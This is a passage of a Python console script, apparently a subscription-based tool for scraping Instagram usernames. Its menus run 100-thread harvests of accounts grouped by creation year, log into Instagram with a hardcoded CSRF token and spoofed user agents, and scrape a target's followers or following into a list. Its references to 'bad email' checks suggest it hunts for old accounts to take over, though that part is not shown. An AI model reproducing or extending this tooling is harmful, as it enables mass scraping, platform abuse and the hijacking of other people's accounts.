{bads_instgram} | Bad Email: {bads_email}{reset}") input(f"\n {N}Press Enter to continue...{reset}") def get_list_place(): global Ex, gg, listoo, sessionid while True: show_simple_banner() print(f""" {NC}╔══════════════════════════════════════════════════════════════════════════════════════╗{reset} {NC}║ {NY}📋 GET LIST PLACE - جلب قائمة 📋{NC} ║{reset} {NC}╠══════════════════════════════════════════════════════════════════════════════════════╣{reset} {NC}║ {MG}[1]{N} ➤ {NC}📅 Get List 2011{N} - جلب قائمة 2011 {NC}║{reset} {NC}║ {MG}[2]{N} ➤ {NC}📅 Get List 2012{N} - جلب قائمة 2012 {NC}║{reset} {NC}║ {MG}[3]{N} ➤ {NC}📅 Get List 2013{N} - جلب قائمة 2013 {NC}║{reset} {NC}║ {MG}[4]{N} ➤ {NC}📅 Get List 14-23{N} - جلب قائمة 2014-2023 {NC}║{reset} {NC}║ {MG}[5]{N} ➤ {NC}👤 Get List From User{N} - جلب من مستخدم {NC}║{reset} {NC}║ {NR}[0]{N} ➤ {NR}🔙 Back{N} - رجوع {NC}║{reset} {NC}╚══════════════════════════════════════════════════════════════════════════════════════╝{reset} """) hh = input(f"\n {C}[{N}→{C}]{N} Enter choice: {r}").strip() if hh == '0': return if hh == '1': Ex = 0 print(f"\n {Y}⚡ Getting list 2011 (100 threads)...{reset}") threads = [] for _ in range(100): thread = Thread(target=ExUsers) thread.start() threads.append(thread) for thread in threads: thread.join() print(f"\n\n {G}[✓] Got {Ex} usernames! Saved to username.txt{reset}") input(f"\n {N}Press Enter to continue...{reset}") elif hh == '2': Ex = 0 print(f"\n {Y}⚡ Getting list 2012 (100 threads)...{reset}") threads = [] for _ in range(100): thread = Thread(target=u) thread.start() threads.append(thread) for thread in threads: thread.join() print(f"\n\n {G}[✓] Got {Ex} usernames! Saved to username.txt{reset}") input(f"\n {N}Press Enter to continue...{reset}") elif hh == '3': Ex = 0 print(f"\n {Y}⚡ Getting list 2013 (100 threads)...{reset}") threads = [] for _ in range(100): thread = Thread(target=qh) thread.start() threads.append(thread) for thread in threads: thread.join() print(f"\n\n {G}[✓] Got {Ex} usernames! Saved to username.txt{reset}") input(f"\n {N}Press Enter to continue...{reset}") elif hh == '4': Ex = 0 print(f"\n {Y}⚡ Getting list 2014-2023 (100 threads)...{reset}") threads = [] for _ in range(100): thread = Thread(target=bh) thread.start() threads.append(thread) for thread in threads: thread.join() print(f"\n\n {G}[✓] Got {Ex} usernames! Saved to username.txt{reset}") input(f"\n {N}Press Enter to continue...{reset}") elif hh == '5': gg = 0 listoo = ['HI'] print(f"\n {NC}{'─'*50}{reset}") username = input(f" {C}[{N}→{C}]{N} Your Instagram username: {r}").strip() password = input(f" {C}[{N}→{C}]{N} Your Instagram password: {r}").strip() if not username or not password: print(f"\n {R}[!] Invalid credentials{reset}") input(f"\n {N}Press Enter to continue...{reset}") continue print(f"\n {Y}⚡ Logging in...{reset}") url = 'https://www.instagram.com/accounts/login/ajax/' data = { 'username': username, 'enc_password': f'#PWD_INSTAGRAM_BROWSER:0:1589682409:{password}', 'queryParams': '{}', 'optIntoOneTap': 'false' } headers = { 'accept': '*/*', 'content-type': 'application/x-www-form-urlencoded', 'user-agent': generate_user_agent(), 'x-csrftoken': 'DqBQgbH1p7xEAaettRA0nmApvVJTi1mR', 'x-ig-app-id': '936619743392459', } k = requests.post(url, headers=headers, data=data) if 'authenticated":true' in k.text or 'userId' in k.text: print(f" {G}[✓] Login successful!{reset}") sessionid = k.cookies.get('sessionid', '') else: print(f" {R}[!] Login failed{reset}") input(f"\n {N}Press Enter to continue...{reset}") continue user = input(f"\n {C}[{N}→{C}]{N} Target username: {r}").strip() rs_id = requests.get(f"https://i.instagram.com/api/v1/users/web_profile_info/?username={user}", headers={ 'Accept': '*/*', 'Cookie': f'sessionid={sessionid}', 'User-Agent': generate_user_agent(), 'X-Ig-App-Id': '936619743392459', }) try: jsn3 = rs_id.json()['data']['user'] id_tr = jsn3['id'] print(f" {G}[✓] Found user ID: {id_tr}{reset}") except: print(f" {R}[!] Error getting user ID{reset}") input(f"\n {N}Press Enter to continue...{reset}") continue print(f""" {r}[{N}1{C}] -> {N} From Following [{N}2{C}] -> {N} From Followers """) o = input(f" {C}[{N}→{C}]{N} Enter choice: {r}").strip() print(f"\n {Y}⚡ Getting list...{reset}") print(f" {NC}{'─'*50}{reset}") if o == '1': fg(id_tr, sessionid) elif o == '2': fs(id_tr, sessionid) else: print(f" {R}[!] Invalid choice{reset}") print(f"\n\n {G}[✓] Got {gg} usernames! Saved to username.txt{reset}") input(f"\n {N}Press Enter to continue...{reset}") else: print(f"\n {R}[!] Invalid choice{reset}") time.sleep(1) def delete_list(): show_simple_banner() print(f"\n{NC} ╔══════════════════════════════════════════════════════════════╗{reset}") print(f"{NC} ║ {NY}🗑️ DELETE LIST - حذف القائمة{NC} ║{reset}") print(f"{NC} ╚══════════════════════════════════════════════════════════════╝{reset}") try: os.remove('username.txt') print(f"\n {G}[✓] List deleted successfully!{reset}") except: print(f"\n {Y}[!] No list found{reset}") input(f"\n {N}Press Enter to continue...{reset}") def developer_info(): show_simple_banner() print(f""" {NO}╔══════════════════════════════════════════════════════════════════════════════════════╗{reset} {NO}║ {NC}🌟 ABDULMALEK THE DEVELOPER 🌟{NO} ║{reset} {NO}╠══════════════════════════════════════════════════════════════════════════════════════╣{reset} {NO}║ {N}🇮🇶 Developer: {NY}Abdul Malik Majeed{NO} ║{reset} {NO}║ {N}📱 Telegram: {NC}@abdulmalek_de{NO} ║{reset} {NO}║ {N}📢 Channel: {NC}t.me/abdulmalekiq{NO} ║{reset} {NO}║ {N}💼 Specialization: {NC}Cyber Security & Penetration Testing{NO} ║{reset} {NO}╠══════════════════════════════════════════════════════════════════════════════════════╣{reset} {NO}║ {MG}[1]{N} ➤ Open Telegram Channel{NO} ║{reset} {NO}║ {MG}[2]{N} ➤ Contact Developer{NO} ║{reset} {NO}║ {NR}[0]{N} ➤ Back{NO} ║{reset} {NO}╚══════════════════════════════════════════════════════════════════════════════════════╝{reset} """) show_subscription_status() f1 = input(f"\n {C}[{N}→{C}]{N} Enter choice: {r}").strip() if f1 == '1': try: webbrowser.open('https://t.me/abdulmalekiq') except: print(f" {NC}Channel: https://t.me/abdulmalekiq{reset}") elif f1 == '2': try: webbrowser.open('https://t.me/abdulmalek_de') except: print(f" {NC}Contact: https://t.me/abdulmalek_de{reset}") # ═══════════════════════════════════════════════════════════════════════════════ # 🚀 MAIN # ═══════════════════════════════════════════════════════════════════════════════ def main(): # Show animated intro show_animated_banner() time.sleep(1) print(f"\n {NC}🌟 Welcome to Abdulmalek The Developer - Cyber Security Tool 🌟{reset}") print(f" {NC}🌟 مرحباً بك في عبدالملك المطور - أداة الأمن السيبراني 🌟{reset}") loading_bar("Initializing system", 2) # Step 1: Subscription (will auto-load saved key if exists) if not subscription_screen(): print(f"\n {R}[!] Subscription failed{reset}") sys.exit(1) # Step 2: Telegram setup (will use saved settings if exists) setup_telegram() # Main loop while True: show_simple_banner() show_subscription_status() show_main_menu() try: egi = input(f"\n {C}[{N}→{C}]{N} Enter your choice: {r}").strip() except: continue if egi == '1': check_place() elif egi == '2': get_list_place() elif egi == '3': delete_list() elif egi == '4': developer_info() elif egi == '0': clear() print(f""" {MG}╔══════════════════════════════════════════════════════════════════════════════════════╗{reset} {MG}║ {NY}👋 GOODBYE! - مع السلامة! 👋{MG} ║{reset} {MG}║ {NC}📱 Telegram: @abdulmalek_de{MG} ║{reset} {MG}║ {NC}📢 Channel: t.me/abdulmalekiq{MG} ║{reset} {MG}║ {N}Thank you for using Abdulmalek The Developer Tool!{MG} ║{reset} {MG}╚══════════════════════════════════════════════════════════════════════════════════════╝{reset} """) sys.exit(0) else: print(f"\n {R}[!] Invalid choice{reset}") time.sleep(1) if __name__ == "__main__": try: main() except KeyboardInterrupt: print(f"\n\n {Y}[!] Interrupted{reset}") sys.exit(0) except Exception as e: print(f"\n {R}[ERROR] {e}{reset}") input(f"\n {N}Press Enter to exit...{reset}") sys.exit(1)